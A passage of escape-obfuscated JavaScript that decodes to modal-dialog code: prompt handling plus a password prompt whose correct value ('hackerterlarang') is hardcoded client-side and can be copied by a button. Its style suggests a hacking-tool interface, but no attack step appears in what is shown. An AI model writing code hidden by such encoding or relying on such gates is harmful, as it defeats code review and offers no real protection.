6f\156\145\x4e\157\144\x65\50\x74\x72\165\x65\x29\73\12\x9\11\11\11\157\153\x42\164\x6e\56\160\x61\x72\x65\x6e\164\116\157\x64\145\x2e\x72\145\x70\154\141\x63\145\103\150\151\154\144\50\x6e\145\167\x4f\153\x42\x74\156\54\x20\157\153\x42\x74\156\x29\x3b\12\11\11\x9\x9\x63\x61\156\x63\x65\x6c\x42\164\x6e\56\160\141\x72\x65\156\x74\x4e\x6f\144\x65\x2e\x72\x65\x70\154\x61\x63\145\103\x68\x69\x6c\144\50\156\145\x77\103\x61\x6e\143\x65\154\x42\164\156\54\40\x63\141\156\x63\145\154\x42\x74\156\x29\x3b\xa\x9\11\11\x9\x63\x6c\x6f\163\145\x42\164\x6e\x2e\160\x61\162\x65\156\164\x4e\x6f\x64\x65\56\162\x65\x70\154\141\143\x65\x43\150\x69\154\144\x28\x6e\x65\167\103\154\157\x73\x65\x42\x74\156\54\x20\143\x6c\157\163\145\x42\x74\156\51\x3b\xa\x9\x9\x9\11\12\11\11\11\11\x2f\57\40\x53\164\x6f\x72\x65\40\x72\x65\146\145\162\145\156\143\145\x73\40\x66\x6f\162\40\143\154\145\x61\x6e\x75\160\xa\11\x9\x9\x9\143\157\x6e\163\164\x20\x68\141\x6e\x64\154\145\122\145\163\x6f\x6c\x76\x65\x20\75\x20\x28\166\x61\154\x75\x65\x29\40\x3d\76\x20\x7b\xa\x9\11\x9\x9\x9\164\150\x69\163\56\x63\154\157\x73\x65\x4d\x6f\x64\x61\x6c\50\155\x6f\x64\x61\154\x29\x3b\xa\11\11\x9\11\x9\x64\157\143\x75\155\145\156\x74\x2e\162\145\155\157\166\145\x45\x76\x65\156\164\x4c\x69\163\x74\145\x6e\x65\162\50\x27\153\145\x79\144\157\x77\x6e\x27\54\x20\145\x73\x63\110\x61\156\144\x6c\x65\162\x29\x3b\xa\x9\11\11\x9\x9\144\x6f\143\x75\155\x65\156\164\56\162\x65\155\x6f\166\x65\x45\166\145\156\164\x4c\x69\163\x74\x65\x6e\145\162\x28\47\x6b\x65\171\144\x6f\167\156\x27\x2c\x20\145\156\x74\145\x72\x48\141\156\144\154\145\x72\x29\x3b\12\x9\11\x9\11\x9\x72\145\163\157\154\166\x65\50\166\141\154\165\145\x29\x3b\12\11\11\x9\11\175\73\12\x9\11\x9\11\xa\x9\x9\11\x9\x2f\57\x20\x48\141\156\x64\154\145\40\105\123\103\40\x6b\145\x79\12\11\11\x9\x9\x63\x6f\x6e\163\x74\x20\145\163\x63\110\141\x6e\x64\x6c\145\162\x20\75\x20\50\x65\51\x20\75\76\x20\173\xa\x9\x9\x9\11\11\151\146\x20\50\145\56\153\145\171\x20\x3d\75\75\x20\47\105\163\143\x61\160\x65\47\51\x20\173\12\x9\x9\11\11\x9\x9\x68\141\x6e\x64\x6c\x65\x52\145\163\x6f\x6c\166\x65\50\156\165\154\x6c\x29\x3b\xa\11\x9\11\x9\11\175\12\11\11\11\x9\175\73\xa\11\x9\11\11\12\x9\11\11\x9\x2f\x2f\40\110\141\156\144\x6c\x65\40\x45\156\164\145\x72\40\153\x65\x79\12\x9\11\11\11\143\157\156\163\164\x20\x65\156\x74\x65\162\x48\141\x6e\144\154\145\x72\40\75\x20\x28\145\51\40\75\76\x20\173\xa\x9\11\11\11\x9\151\x66\x20\x28\x65\56\153\145\171\40\75\75\75\x20\47\x45\x6e\164\x65\162\x27\x20\x26\46\x20\x65\56\164\141\x72\147\x65\x74\x20\x3d\x3d\75\40\151\156\x70\x75\x74\106\x69\145\x6c\144\51\40\x7b\12\x9\x9\11\x9\11\11\145\x2e\x70\162\145\x76\145\x6e\164\x44\145\146\141\165\154\164\x28\x29\x3b\xa\11\11\11\x9\11\x9\x63\x6f\156\163\164\40\x76\x61\154\165\x65\x20\75\40\151\x6e\x70\x75\164\106\151\145\x6c\x64\x2e\166\x61\x6c\165\145\56\x74\x72\151\x6d\50\51\x3b\12\11\11\11\x9\x9\x9\151\146\40\50\157\x70\164\x69\x6f\x6e\x73\x2e\162\145\161\165\x69\x72\145\x64\x20\46\x26\40\41\x76\141\154\x75\x65\x29\40\173\xa\11\11\11\x9\11\x9\11\145\x72\162\x6f\x72\x45\154\56\164\145\x78\x74\103\157\x6e\x74\145\156\x74\x20\75\x20\x27\124\x68\151\163\x20\146\151\145\x6c\x64\40\x69\163\x20\x72\x65\x71\165\151\x72\145\144\x27\73\xa\11\x9\11\11\x9\x9\11\145\x72\162\x6f\x72\x45\x6c\56\143\154\141\163\x73\x4c\151\163\164\x2e\x61\144\x64\x28\x27\x73\150\157\x77\x27\51\x3b\12\11\11\x9\x9\11\11\x9\x69\156\160\x75\x74\x46\x69\x65\x6c\144\56\x73\x74\x79\154\145\x2e\x62\x6f\162\x64\x65\x72\103\x6f\x6c\x6f\162\40\x3d\x20\x27\x76\x61\162\50\55\55\141\x63\143\145\x6e\x74\55\162\145\x64\x29\47\x3b\12\11\11\11\x9\x9\x9\x9\151\156\160\165\x74\x46\151\145\x6c\144\x2e\x66\157\143\165\x73\50\x29\x3b\xa\11\x9\11\11\11\x9\x9\x72\145\x74\165\x72\x6e\73\12\x9\x9\11\11\x9\x9\x7d\12\11\x9\11\11\x9\x9\151\x66\40\50\157\160\x74\x69\157\156\x73\56\x76\141\x6c\x69\x64\x61\x74\x6f\x72\40\46\46\40\x21\157\x70\x74\151\x6f\156\163\56\166\141\x6c\151\144\x61\x74\157\x72\50\166\141\x6c\165\x65\x29\x29\x20\173\xa\11\11\11\11\x9\x9\11\145\x72\x72\157\x72\x45\154\x2e\x74\x65\170\164\103\157\x6e\x74\145\x6e\x74\40\x3d\x20\x6f\160\164\x69\157\x6e\163\56\x76\141\154\151\x64\141\164\157\x72\105\162\162\157\x72\40\174\x7c\40\x27\111\156\166\141\x6c\x69\144\40\x76\x61\154\165\145\47\x3b\12\x9\x9\x9\x9\x9\11\x9\x65\162\x72\157\162\x45\154\56\x63\154\x61\x73\163\x4c\151\x73\164\56\141\x64\144\50\47\x73\150\x6f\x77\x27\51\73\xa\11\11\x9\x9\x9\x9\11\151\156\x70\x75\164\x46\x69\145\x6c\x64\56\x73\164\x79\154\145\x2e\x62\x6f\x72\x64\x65\162\103\157\x6c\x6f\162\40\x3d\x20\47\x76\x61\162\50\x2d\x2d\141\143\143\145\156\164\x2d\162\x65\144\51\x27\x3b\xa\11\11\11\x9\11\11\x9\151\x6e\x70\165\164\106\x69\145\x6c\144\56\x66\157\143\165\163\50\51\73\12\x9\x9\11\11\11\11\11\162\x65\164\165\162\x6e\x3b\12\x9\x9\11\11\x9\x9\x7d\xa\11\x9\x9\x9\11\11\x68\x61\x6e\144\x6c\145\122\145\163\157\x6c\x76\x65\x28\x76\x61\154\x75\145\x20\x7c\x7c\x20\156\x75\x6c\154\x29\73\xa\11\11\x9\x9\x9\175\xa\11\x9\x9\x9\175\73\12\x9\11\x9\11\xa\x9\x9\x9\11\x2f\x2f\40\101\x64\144\40\x6e\x65\167\x20\x65\166\145\x6e\x74\x20\x6c\151\x73\164\145\x6e\x65\x72\x73\xa\x9\11\11\x9\x6e\x65\x77\117\x6b\x42\164\x6e\x2e\x6f\x6e\143\x6c\x69\x63\153\x20\75\40\50\x29\x20\75\76\40\173\12\x9\x9\x9\11\x9\143\x6f\156\163\x74\40\x76\141\154\x75\145\x20\75\40\x69\156\160\x75\164\x46\151\145\x6c\144\56\x76\x61\154\x75\145\x2e\164\162\151\155\50\x29\x3b\12\11\11\x9\11\x9\x69\x66\40\x28\157\x70\164\151\x6f\x6e\163\56\x72\145\x71\x75\x69\x72\x65\x64\x20\46\46\40\x21\x76\141\x6c\x75\145\x29\x20\173\xa\x9\x9\x9\x9\11\x9\x65\162\162\157\x72\x45\154\56\164\145\170\164\103\x6f\x6e\x74\x65\156\164\40\x3d\x20\47\x54\x68\151\163\40\x66\151\145\x6c\144\40\x69\163\x20\x72\x65\x71\x75\x69\162\x65\144\47\x3b\12\11\11\x9\x9\x9\11\x65\162\x72\157\162\x45\x6c\56\143\x6c\141\x73\163\114\x69\x73\x74\56\x61\144\x64\50\47\163\x68\157\x77\47\x29\73\xa\x9\11\11\x9\11\x9\151\156\160\165\164\x46\151\145\x6c\x64\x2e\x73\x74\x79\x6c\145\56\142\x6f\x72\144\145\162\x43\157\x6c\x6f\x72\x20\x3d\40\47\166\x61\x72\x28\x2d\55\141\x63\x63\x65\x6e\x74\55\162\x65\144\51\x27\73\12\x9\11\11\11\x9\11\151\x6e\160\165\x74\x46\x69\x65\x6c\x64\x2e\x66\x6f\143\x75\163\50\51\x3b\xa\11\11\11\x9\11\x9\x72\145\164\165\x72\156\x3b\12\x9\x9\11\11\11\175\xa\x9\x9\11\11\x9\x69\x66\40\50\157\160\x74\151\157\156\x73\56\x76\x61\154\x69\144\x61\164\x6f\162\x20\x26\x26\x20\x21\x6f\x70\164\x69\x6f\156\x73\x2e\x76\x61\x6c\151\x64\x61\x74\x6f\x72\x28\x76\141\x6c\x75\145\51\51\40\x7b\12\x9\11\11\x9\x9\x9\x65\162\x72\x6f\162\x45\x6c\56\x74\x65\x78\x74\103\x6f\156\164\x65\156\x74\x20\75\x20\157\160\164\x69\157\156\x73\56\166\141\x6c\151\x64\141\x74\x6f\162\105\x72\162\157\162\x20\174\x7c\40\x27\111\x6e\166\141\x6c\151\144\x20\x76\x61\x6c\165\x65\x27\x3b\12\11\11\x9\x9\11\x9\145\x72\x72\157\x72\105\154\56\x63\x6c\x61\x73\x73\x4c\x69\163\164\56\x61\x64\x64\x28\x27\163\x68\x6f\167\47\x29\x3b\xa\x9\x9\11\x9\x9\x9\151\x6e\160\x75\164\106\151\x65\154\x64\x2e\x73\164\171\154\x65\56\x62\157\x72\144\145\162\103\x6f\154\x6f\162\x20\x3d\40\x27\x76\x61\162\50\x2d\x2d\x61\143\143\x65\x6e\x74\55\x72\145\144\51\x27\73\12\x9\11\11\11\11\x9\151\x6e\x70\165\164\106\x69\145\x6c\144\x2e\x66\x6f\x63\165\163\x28\x29\x3b\xa\11\x9\11\11\x9\11\162\145\164\x75\162\156\73\xa\x9\11\x9\x9\x9\x7d\12\11\11\x9\x9\11\x68\141\156\144\x6c\x65\x52\145\x73\157\x6c\166\145\50\x76\141\x6c\x75\145\x20\174\174\x20\156\x75\x6c\x6c\51\73\12\x9\11\11\11\175\73\xa\x9\x9\x9\11\x6e\x65\x77\103\x61\x6e\143\145\154\x42\164\x6e\56\x6f\x6e\x63\154\x69\143\x6b\40\75\40\x28\x29\40\75\76\x20\150\x61\x6e\x64\x6c\x65\x52\x65\x73\157\x6c\166\145\x28\156\165\154\154\x29\x3b\xa\11\11\11\11\156\x65\x77\x43\x6c\157\163\145\x42\164\156\56\157\x6e\143\154\x69\143\153\40\x3d\40\50\51\40\75\76\40\x68\x61\156\x64\x6c\145\122\145\163\157\154\166\145\50\x6e\x75\x6c\x6c\x29\x3b\12\x9\11\11\x9\xa\11\x9\11\x9\x2f\57\40\x43\154\157\163\145\40\x6f\156\40\x62\x61\143\x6b\x64\x72\157\160\40\x63\154\151\x63\x6b\12\x9\x9\11\11\143\x6f\156\x73\164\x20\x62\141\x63\x6b\144\162\157\x70\110\141\156\144\154\145\162\x20\x3d\x20\50\145\51\x20\75\76\x20\173\12\11\11\11\x9\11\151\x66\40\50\145\x2e\x74\x61\162\x67\145\x74\40\x3d\75\75\x20\155\x6f\x64\x61\154\51\40\173\12\11\x9\x9\x9\11\x9\150\141\x6e\144\x6c\x65\122\145\163\x6f\154\166\x65\x28\x6e\165\x6c\x6c\x29\73\12\x9\11\11\11\11\175\xa\x9\x9\x9\x9\x7d\x3b\xa\11\11\11\x9\x6d\157\x64\x61\x6c\56\157\x6e\143\154\151\143\153\x20\75\x20\142\141\x63\153\x64\162\157\160\110\141\156\x64\x6c\x65\x72\73\xa\x9\11\x9\11\12\11\11\x9\11\x2f\57\x20\101\144\144\x20\x6b\145\171\x20\x6c\x69\x73\164\145\x6e\145\x72\x73\xa\11\x9\11\x9\144\x6f\x63\x75\155\145\x6e\x74\x2e\141\x64\144\x45\166\145\x6e\164\114\151\x73\x74\x65\x6e\x65\162\50\47\x6b\145\x79\x64\157\167\x6e\47\54\40\x65\x73\143\x48\x61\156\x64\154\x65\x72\51\x3b\12\x9\11\x9\11\144\x6f\143\x75\155\x65\x6e\164\x2e\x61\x64\x64\105\166\x65\x6e\164\114\x69\x73\x74\145\156\x65\x72\50\x27\153\145\171\x64\x6f\167\156\47\x2c\40\145\x6e\x74\x65\162\x48\141\156\144\154\145\162\51\x3b\12\11\11\11\11\xa\11\x9\11\x9\x2f\x2f\x20\123\x68\x6f\x77\40\155\x6f\x64\x61\x6c\xa\x9\11\x9\11\164\x68\151\x73\x2e\x73\150\157\x77\x4d\x6f\144\141\154\x28\155\157\144\141\154\x29\x3b\xa\x9\11\11\11\xa\x9\11\11\11\x2f\57\40\106\x6f\143\165\163\x20\x6f\156\40\x69\156\x70\165\164\40\x66\151\145\154\144\x20\141\x6e\x64\x20\163\145\154\x65\x63\164\x20\164\x65\170\x74\x20\x69\x66\40\x64\145\x66\141\165\154\x74\x20\166\141\154\165\145\12\x9\11\11\11\163\145\x74\124\x69\155\145\157\165\x74\x28\x28\51\40\x3d\76\x20\x7b\xa\x9\11\11\x9\x9\x69\x6e\160\165\x74\106\151\x65\154\x64\x2e\x66\157\x63\165\163\50\x29\x3b\xa\11\11\x9\11\x9\151\146\40\50\x64\x65\146\x61\x75\x6c\x74\126\141\154\x75\x65\x29\40\173\12\x9\x9\11\11\x9\x9\x69\156\x70\165\x74\x46\x69\x65\154\144\56\x73\145\x6c\145\143\x74\50\x29\x3b\xa\x9\x9\11\11\11\175\12\x9\11\x9\11\x7d\54\x20\x31\60\x30\51\x3b\xa\11\11\x9\x7d\x29\x3b\xa\x9\x9\x7d\54\xa\11\x9\x73\x68\x6f\x77\x50\x61\163\163\x77\x6f\x72\144\115\157\144\x61\154\50\x63\141\x6c\x6c\142\141\143\x6b\x29\x20\173\xa\11\x9\11\143\x6f\x6e\163\x74\40\x6d\157\x64\141\x6c\40\x3d\40\x64\x6f\143\x75\x6d\x65\x6e\x74\56\x67\x65\164\105\154\145\155\x65\156\164\102\x79\111\x64\50\47\x70\x61\x73\x73\x77\157\x72\144\55\155\x6f\x64\x61\154\47\x29\73\xa\11\11\x9\x63\157\156\x73\x74\x20\x70\x61\x73\163\167\x6f\162\x64\x49\156\160\x75\164\40\x3d\x20\144\x6f\143\165\155\145\x6e\164\x2e\147\x65\x74\105\x6c\x65\x6d\145\156\x74\x42\171\x49\144\x28\x27\x70\x61\x73\163\167\157\162\x64\55\151\156\x70\x75\164\47\x29\x3b\12\x9\11\x9\x63\x6f\x6e\163\x74\x20\160\x61\x73\163\x77\157\x72\x64\105\162\x72\x6f\x72\40\x3d\x20\144\x6f\x63\165\x6d\x65\x6e\164\x2e\x67\x65\x74\105\x6c\145\x6d\x65\x6e\164\x42\x79\111\144\50\x27\x70\x61\163\163\167\x6f\x72\x64\55\145\x72\162\x6f\x72\47\x29\73\12\11\11\11\x63\x6f\156\163\x74\x20\x73\x75\x62\155\x69\164\x42\x74\156\40\x3d\40\x64\x6f\143\165\155\x65\156\x74\56\x67\145\x74\105\x6c\145\155\x65\x6e\x74\102\171\x49\144\x28\47\x70\x61\x73\x73\167\157\x72\144\x2d\163\165\x62\x6d\x69\x74\x2d\142\x74\156\47\x29\73\12\x9\x9\11\x63\x6f\156\x73\x74\x20\143\x61\x6e\x63\145\x6c\x42\164\156\x20\75\x20\x64\x6f\x63\x75\x6d\145\x6e\x74\56\x67\145\164\105\154\145\x6d\145\x6e\164\x42\171\111\144\50\x27\x70\x61\x73\x73\167\157\x72\144\x2d\143\141\156\x63\x65\154\x2d\x62\x74\x6e\x27\51\x3b\xa\x9\x9\11\143\x6f\x6e\163\164\x20\x63\154\x6f\x73\x65\x42\x74\x6e\40\x3d\40\x64\x6f\143\x75\x6d\x65\x6e\164\56\x67\x65\x74\x45\154\145\x6d\145\x6e\x74\102\x79\111\144\50\x27\x70\x61\x73\x73\x77\x6f\162\144\55\155\x6f\144\x61\x6c\x2d\143\154\x6f\163\x65\x27\51\73\xa\x9\11\x9\143\157\156\x73\164\40\143\157\160\x79\102\x74\x6e\x20\x3d\x20\x64\x6f\x63\165\x6d\145\156\164\x2e\x67\145\x74\105\x6c\x65\155\x65\x6e\164\102\x79\111\144\50\x27\x63\157\x70\x79\x2d\160\x61\163\163\167\x6f\162\x64\x2d\x62\164\156\47\51\x3b\xa\x9\11\11\x63\157\156\x73\x74\40\143\x6f\162\x72\145\x63\164\x50\141\163\x73\x77\x6f\x72\144\40\75\x20\x27\x68\141\143\153\145\x72\164\145\x72\x6c\141\x72\141\x6e\x67\47\x3b\12\11\x9\11\xa\11\x9\11\57\x2f\x20\122\145\163\x65\x74\40\x6d\x6f\x64\x61\154\x20\x73\164\141\x74\145\12\x9\11\x9\x70\141\x73\163\x77\x6f\162\144\x49\156\160\165\x74\56\166\141\154\x75\x65\x20\x3d\x20\47\47\73\xa\x9\x9\x9\160\141\163\x73\167\157\x72\x64\105\x72\162\157\x72\56\164\x65\x78\164\x43\157\156\164\x65\156\164\x20\x3d\40\x27\x27\x3b\xa\11\11\x9\x70\141\x73\163\167\157\162\144\x45\x72\162\157\162\56\x63\x6c\x61\163\163\x4c\x69\163\x74\x2e\x72\145\x6d\x6f\166\x65\x28\x27\x73\x68\157\167\47\x29\x3b\12\x9\x9\11\x70\x61\163\163\167\157\x72\x64\111\156\160\x75\164\56\163\164\x79\154\x65\x2e\x62\x6f\162\x64\145\162\103\157\154\157\x72\x20\x3d\x20\47\166\x61\x72\x28\x2d\55\142\x6f\162\x64\x65\162\x2d\x63\x6f\x6c\x6f\x72\x29\47\73\12\x9\11\x9\12\11\x9\11\57\x2f\x20\x53\x68\x6f\x77\40\x6d\157\x64\141\x6c\12\11\11\x9\164\x68\151\163\x2e\163\150\157\x77\x4d\x6f\144\x61\154\50\155\x6f\x64\x61\x6c\x29\x3b\12\x9\11\x9\160\x61\x73\x73\x77\157\162\144\x49\156\160\165\164\56\x66\x6f\143\x75\163\50\x29\73\12\11\11\x9\xa\11\11\x9\57\x2f\x20\x43\157\160\171\x20\160\141\x73\163\x77\157\x72\x64\x20\x66\x75\x6e\143\164\151\x6f\x6e\12\11\x9\11\143\157\156\163\x74\40\143\157\x70\x79\x50\141\163\x73\167\157\x72\144\x20\x3d\x20\50\51\x20\x3d\76\40\173\12\x9\11\11\11\156\141\x76\x69\147\141\x74\x6f\162\56\143\x6c\x69\160\142\x6f\x61\x72\x64\56\167\x72\x69\164\145\x54\x65\x78\x74\x28\x63\157\x72\162\x65\x63\x74\x50\x61\163\x73\167\x6f\x72\x64\51\56\164\x68\x65\156\50\50\51\40\x3d\76\40\x7b\xa\11\x9\x9\11\11\x63\x6f\160\171\102\164\x6e\56\164\145\170\164\103\157\156\164\x65\x6e\164\40\75\x20\47\xe2\234\205\x20\103\157\160\151\145\x64\41\x27\x3b\xa\x9\x9\11\11\11\163\x65\x74\124\x69\155\x65\x6f\165\x74\x28\x28\51\x20\75\76\x20\173\12\x9\11\11\x9\x9\11\143\x6f\160\x79\x42\164\156\x2e\x74\x65\170\164\x43\x6f\156\x74\x65\156\164\x20\x3d\40\47\360\x9f\223\x8b\47\73\xa\11\11\x9\x9\11\175\x2c\40\62\x30\60\60\x29\x3b\xa\11\x9\11\11\x7d\x29\56\x63\x61\x74\x63\150\x28\x28\x29\x20\x3d\76\40\x7b\12\11\11\11\11\x9\x2f\x2f\x20\106\141\154\x6c\142\x61\x63\153\x20\x66\x6f\162\40\x6f\x6c\x64\145\x72\x20\x62\162\157\167\163\x65\x72\x73\xa\x9\x9\11\11\11\x63\157\156\x73\x74\x20\164\145\170\164\101\162\x65\x61\40\75\40\144\157\x63\x75\x6d\145\x6e\x74\x2e\143\162\x65\x61\x74\145\x45\x6c\x65\155\x65\x6e\x74\50\x27\x74\145\x78\164\x61\162\x65\x61\x27\51\73\12\x9\x9\x9\x9\11\x74\145\x78\164\101\162\x65\x61\56\166\x61\154\x75\x65\x20\x3d\40\143\x6f\162\x72\145\x63\x74\x50\x61\x73\x73\167\157\162\144\73\xa\x9\x9\11\11\11\144\157\143\165\x6d\x65\156\x74\56\142\x6f\144\171\x2e\141\x70\160\145\x6e\x64\103\x68\151\x6c\144\50\164\x65\170\164\x41\162\x65\x61\x29\x3b\xa\11\x9\11\x9\x9\164\145\170\164\101\x72\x65\x61\x2e\x73\145\x6c\145\x63\164\x28\51\x3b\12\11\11\11\11\11\x64\x6f\x63\x75\155\145\x6e\164\56\x65\170\x65\x63\x43\157\155\155\x61\156\144\x28\x27\143\157\160\171\47\x29\73\12\11\x9\x9\11\11\144\157\143\x75\x6d\x65\156\164\56\142\157\144\171\56\162\145\x6d\x6f\166\x65\x43\150\x69\x6c\144\x28\x74\145\x78\x74\101\x72\x65\x61\x29\x3b\12\x9\11\11\11\x9\143\x6f\160\171\x42\x74\156\x2e\164\145\x78\x74\103\x6f\x6e\x74\145\156\164\x20\75\x20\47\342\234\x85\x20\103\x6f\x70\x69\x65\144\x21\x27\73\xa\11\11\x9\x9\x9\x73\x65\x74\124\151\x6d\x65\x6f\165\164\x28\50\51\40\75\76\x20\173\12\x9\x9\11\11\x9\x9\143\x6f\x70\x79\102\x74\156\56\164\x65\x78\x74\x43\157\x6e\x74\x65\x6e\164\40\75\40\x27\xf0\x9f\223\213\x27\73\xa\x9\11\11\x9\x9\x7d\54\x20\x32\60\x30\x30\51\x3b\12\x9\11\x9\x9\175\x29\73\12\11\11\x9\x7d\x3b\xa\11\x9\x9\xa\x9\x9\x9\x2f\57\40\x56\x61\154\x69\x64\141\x74\145\x20\x61\156\144\40\x73\x75\142\155\151\x74\12\x9\11\11\x63\x6f\x6e\x73\x74\x20\x76\141\154\x69\144\x61\x74\x65\x41\x6e\x64\123\x75\x62\x6d\x69\x74\x20\75\x20\x28\x29\40\75\76\x20\x7b\12\11\11\x9\x9\143\x6f\x6e\163\164\40\145\x6e\x74\145\162\145\144\120\141\163\163\167\157\162\144\x20\75\x20\x70\141\163\x73\167\157\x72\x64\111\156\160\165\x74\x2e\166\x61\x6c\x75\x65\56\164\x72\x69\155\x28\51\73\xa\x9\11\x9\11\xa\11\x9\x9\11\x69\x66\x20\x28\x21\145\156\164\145\x72\x65\144\x50\x61\x73\x73\x77\x6f\x72\x64\x29\x20\x7b\xa\11\11\x9\11\11\x70\141\x73\163\167\x6f\x72\x64\x45\162\162\157\x72\56\x74\145\x78\164\103\x6f\156\x74\x65\x6e\x74\x20\75\x20\x27\342\235\x8c\x20\x50\141\x73\163\x77\157\x72\144\40\164\151\x64\x61\153\x20\x62\x6f\154\145\x68\x20\153\x6f\163\157\156\x67\41\x27\73\12\11\11\11\x9\x9\160\x61\x73\x73\x77\157\162\144\x45\162\x72\157\x72\x2e\x63\154\x61\163\x73\114\151\x73\164\56\x61\144\144\x28\x27\x73\x68\157\x77\47\x29\73\xa\11\11\11\x9\11\160\x61\163\x73\x77\x6f\162\x64\111\x6e\x70\165\164\x2e\x73\164\171\154\145\x2e\142\157\162\144\x65\162\x43\157\154\157\162\40\x3d\x20\47\166\x61\162\50\x2d\x2d\141\143\143\145\x6e\x74\x2d\162\145\x64\x29\x27\x3b\xa\11\11\x9\x9\11\160\141\x73\163\x77\x6f\162\144\111\156\x70\165\x74\56\146\157\143\165\x73\50\51\73\xa\11\x9\x9\x9\11\162\x65\x74\x75\x72\156\x3b\12\11\x9\x9\x9\x7d\12\x9\11\11\x9\12\11\11\11\11\x69\146\x20\50\145\x6e\x74\145\162\x65\x64\x50\141\163\x73\167\x6f\x72\x64\40\41\x3d\x3d\40\143\x6f\162\x72\145\143\x74\x50\141\163\x73\x77\157\x72\x64\x29\x20\x7b\12\x9\11\11\11\x9\x70\x61\163\x73\x77\x6f\x72\x64\x45\162\162\x6f\162\x2e\164\x65\170\x74\103\157\156\164\x65\156\x74\x20\75\x20\47\xe2\235\214\x20\120\141\x73\163\167\157\162\144\x20\163\x61\154\141\x68\x21\x20\101\x6b\x73\x65\x73\40\x64\151\164\x6f\x6c\141\x6b\x2e\x27\73\12\x9\x9\11\11\x9\x70\141\163\163\x77\x6f\x72\144\105\162\x72\x6f\x72\x2e\x63\x6c\141\x73\163\x4c\151\163\164\56\141\144\x64\50\47\163\x68\x6f\x77\x27\51\x3b\12\x9\x9\x9\x9\11\160\141\x73\163\167\x6f\x72\144\x49\156\160\165\x74\56\163\164\x79\x6c\x65\56\142\x6f\x72\144\145\x72\x43\x6f\x6c\157\x72\40\75\x20\x27\166\x61\162\50\x2d\x2d\x61\143\x63\x65\156\x74\55\162\145\x64\x29\x27\x3b\12\x9\x9\x9\11\11\x70\141\163\x73\167\x6f\162\x64\x49\x6e\x70\x75\164\56\166\x61\x6c\165\x65\x20\x3d\40\x27\x27\73\xa\11\x9\x9\x9\x9\x70\x61\x73\x73\167\157\x72\x64\x49\x6e\x70\x75\164\x2e\146\157\143\165\x73\50\51\73\xa\11\11\11\x9\11\163\x65\x74\x54\x69\x6d\x65\157\165\x74\50\50\51\40\x3d\x3e\40\x7b\xa\11\11\x9\11\x9\11\x70\141\x73\x73\x77\157\162\144\105\162\x72\157\162\x2e\x63\154\141\x73\x73\x4c\151\163\x74\x2e\x72\145\155\157\x76\145\x28\x27\163\x68\x6f\x77\47\x29\x3b\xa\x9\11\11\x9\11\175\x2c\x20\x33\60\60\x30\51\x3b\xa\11\x9\11\x9\11\162\145\164\x75\162\156\x3b\xa\x9\11\x9\11\x7d\xa\11\x9\11\11\12\x9\11\x9\x9\57\57\x20\120\x61\x73\x73\x77\157\x72\144\x20\x63\157\x72\x72\x65\143\164\xa\11\11\x9\11\160\141\163\163\167\x6f\x72\x64\105\162\162\157\x72\x2e\x74\145\x78\164\103\x6f\x6e\164\145\156\x74\40\75\x20\47\47\x3b\12\11\x9\11\11\x70\141\x73\163\x77\157\162\144\105\x72\x72\x6f\x72\x2e\143\x6c\141\x73\163\114\x69\163\x74\56\162\145\155\157\166\145\x28\47\163\150\157\x77\47\x29\73\xa\11\x9\11\x9\x70\x61\x73\163\167\x6f\162\x64\x49\x6e\x70\165\164\56\163\164\171\154\x65\x2e\142\x6f\162\144\145\x72\103\157\154\x6f\162\40\x3d\40\x27\166\141\162\50\55\x2d\x61\143\143\145\156\x74\55\x67\162\145\x65\156\51\x27\73\xa\11\11\x9\11\163\x75\142\155\x69\164\x42\164\x6e\56\x64\151\163\141\142\154\x65\144\40\x3d\x20\x74\x72\x75\x65\x3b\xa\11\11\x9\x9\163\x75\x62\155\151\164\102\x74\156\x2e\164\145\170\164\103\x6f\156\x74\x65\x6e\164\x20\x3d\x20\47\342\234\205\40\x56\x65\x72\151\x66\x79\151\156\x67\56\x2e\x2e\x27\x3b\12\11\11\x9\x9\12\11\11\11\11\x73\145\164\x54\151\x6d\x65\157\x75\164\50\50\51\x20\75\76\x20\173\12\11\x9\x9\11\11\x74\x68\151\163\56\x63\154\157\x73\x65\x4d\157\x64\141\154\x28\x6d\x6f\144\141\154\51\73\xa\x9\x9\x9\x9\11\x63\x61\154\154\x62\141\143\x6b\x28\51\x3b\xa\x9\x9\x9\x9\175\x2c\40\65\60\60\x29\x3b\12\11\x9\x9\175\73\xa\11\x9\11\xa\11\11\x9\x2f\57\40\105\166\145\x6e\x74\40\154\151\163\x74\145\x6e\145\x72\163\xa\11\x9\11\143\157\x6e\x73\x74\x20\x63\154\x65\x61\156\165\160\x20\x3d\40\50\51\40\x3d\x3e\40\173\xa\11\x9\11\x9\163\165\142\155\151\x74\x42\164\x6e\56\157\x6e\x63\x6c\151\x63\153\40\x3d\40\x6e\x75\154\x6c\73\12\x9\x9\11\11\143\141\x6e\x63\x65\x6c\102\x74\156\x2e\157\x6e\143\x6c\x69\x63\x6b\40\x3d\40\x6e\165\x6c\x6c\x3b\12\x9\x9\11\11\x63\154\x6f\163\x65\x42\164\156\x2e\157\x6e\x63\x6c\151\x63\153\x20\75\x20\156\165\x6c\154\x3b\xa\x9\x9\11\x9\x63\x6f\x70\x79\102\164\156\x2e\x6f\156\x63\x6c\151\143\x6b\40\75\40\156\x75\x6c\x6c\73\xa\11\x9\11\11\x70\x61\x73\x73\167\x6f\x72\144\111\x6e\x70\165\164\x2e\x6f\156\153\x65\171\x70\x72\x65\x73\163\x20\75\x20\156\x75\154\x6c\73\12\11\x9\x9\x7d\73\xa\x9\x9\x9\12\x9\11\11\x73\165\142\155\151\164\x42\164\x6e\56\x6f\x6e\143\x6c\151\x63\x6b\40\x3d\x20\166\x61\x6c\x69\144\x61\164\145\101\x6e\x64\123\x75\x62\x6d\x69\164\73\12\11\x9\x9\x63\141\156\x63\x65\154\102\164\156\x2e\x6f\156\143\154\151\x63\153\40\x3d\40\x28\51\40\x3d\x3e\x20\173\12\11\x9\11\11\x63\154\145\141\x6e\165\x70\x28\51\x3b\12\x9\11\x9\11\164\150\151\x73\56\x63\x6c\x6f\163\x65\x4d\x6f\144\141\x6c\x28\155\x6f\144\141\154\x29\73\xa\11\x9\x9\x9\x74\150\x69\x73\x2e\164\157\141\163\164\x28\x27\x4f\160\x65\x72\141\x73\x69\x20\144\151\x62\x61\x74\x61\x6c\153\141\156\56\x27\54\40\47\x65\162\x72\x6f\162\47\x29\73\xa\11\11\x9\x7d\x3b\12\11\x9\11\x63\x6c\x6f\163\145\x42\x74\x6e\x2e\x6f\x6e\143\x6c\x69\x63\x6b\40\75\x20\50\x29\x20\75\76\x20\x7b\xa\11\x9\x9\x9\143\154\145\141\156\165\x70\50\x29\73\12\x9\11\x9\11\164\150\151\163\56\143\x6c\157\163\x65\115\157\144\x61\154\50\155\157\